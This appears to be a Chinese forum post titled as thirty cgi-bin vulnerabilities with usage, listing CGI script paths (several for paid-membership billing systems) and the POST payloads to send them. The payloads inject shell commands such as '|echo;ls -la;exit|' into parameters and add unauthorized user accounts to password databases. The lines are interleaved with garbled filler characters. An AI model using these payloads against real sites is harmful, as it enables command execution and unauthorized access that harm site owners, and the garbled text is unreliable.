Cgi-bin 30个漏洞＋使用方法

admin

==============================

; g2 T+ R% h6 U1 J% a/smspass.pl
username=username&password=password

' [3 I4 b1 O+ O3 G% c" @& C2 g/index.cgi
1 k* w- |/ `; L! [$ Z4 awei=ren&gen=command

/passmaster.cgi
' }9 e0 k4 U5 b; @( k4 j0 [& rAction=Add&Username=Username&Password=Password
' n, b0 ?' ]0 S! I) ?/ y0 @8 _
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
$ ]4 j" G# @3 m9 ?, Y! n
9 }# R; Z! a  t  \/form.cgi
& X2 q9 J7 X, U7 D! gname=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
# W4 S* L4 L1 I2 x" suser=username&pass=Password&confirm=Password

/ccbill-local.asp
post_values=username:password

( R" p% ~4 z$ m- ^5 H3 ?/count.cgi
3 d* M! p0 y% x9 w2 qpinfile=|echo;ls -la;exit|

/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
3 U% r' i+ s- T3 K& R" d
3 C: ]4 \' @0 k# I! g0 L/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
, a; d5 [! u- M$ j0 \5 p" L" h
8 W: `% S) s( |* J/af.cgi
_browser_out=|echo;ls -la;exit;|

/ D" ^3 w0 i$ t/modify.cgi
username=username&password=password&expire=30
# g* A  D% {% R/ Z! q( _4 w; @/ f
) d* o0 B6 k: o3 u3 e/openjournal.cgi
' k/ X( k- @' ]7 |edit=1&ct=2&go=|echo;ls -al;exit|
# y& J; l7 U2 E% i
5 l6 g6 Z6 q1 x% T) f% K: R  Z/gx9passwd.cgi
, Q7 q; x8 B2 T+ _9 lcmd=ADD&user=username&pass=password
" X" P7 F1 T9 |4 G
3 H. m+ U/ k# L# U2 h$ ~& ], g/probecontrol.cgi
2 {( T, [7 ^8 G* _# L$ }1 z; ocommand=enable&username=username&password=password

/recon.cgi
! c2 m  ^9 t5 J$ ^searchoption=3&searchfor=echo;ls -la;exit

1 Q& F1 M% d. M, S* R  t- n' m( @/htadd.pl
4 ~+ s2 l- s, y" j& m6 A. Lconfigfile=|echo; ls -alt; exit
" P0 r2 P) U4 W1 l1 w) y
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
# z+ k; p0 h  e5 L
/ibill*.pl
6 K: ?  M! p9 _% g+ s/ G6 Q' |reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
$ X/ Z& Z6 n8 g: T0 y3 U
# U, s& H; B* z, v/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS

- d4 V! C) s  e" |( W" H( P/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

3 w3 @7 w+ D) t' q4 }/ ^9 b/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
" P# h$ G; M" W7 v  Zpinfile=|echo;pwd;exit|

/accountcreate.cgi
2 x9 J0 S' j$ ~* i; @9 q' S4 {/cgi-bin/gateway/accountcreate.cgi
0 b, @7 ^( j  V+ F) C( r' b3 t1 D! {username=username&password=password&password2=password&ref1=|echo;ls -al;exit

4 U5 f2 j2 `9 |2 T8 c/af.cgi
9 E( A# d2 ~2 A+ B/env.cgi
- `) V- k7 `& Q* i+ B* O/ J; dADD+;echo;pwd;exit
5 ^5 z# i! T+ K8 k" `5 \
/count.cgi
pinfile=|echo;pwd;exit|
3 L: {. I2 W( j- h0 R4 }' B
4 c2 D' C6 x# E, h& ], S- s! O/recon.cgi
6 {% C) h# G4 w5 P' }  v% I/ ^: f5 \searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
3 A( [2 J" e, Z4 Zusername=username&password=password&expire=30

==============================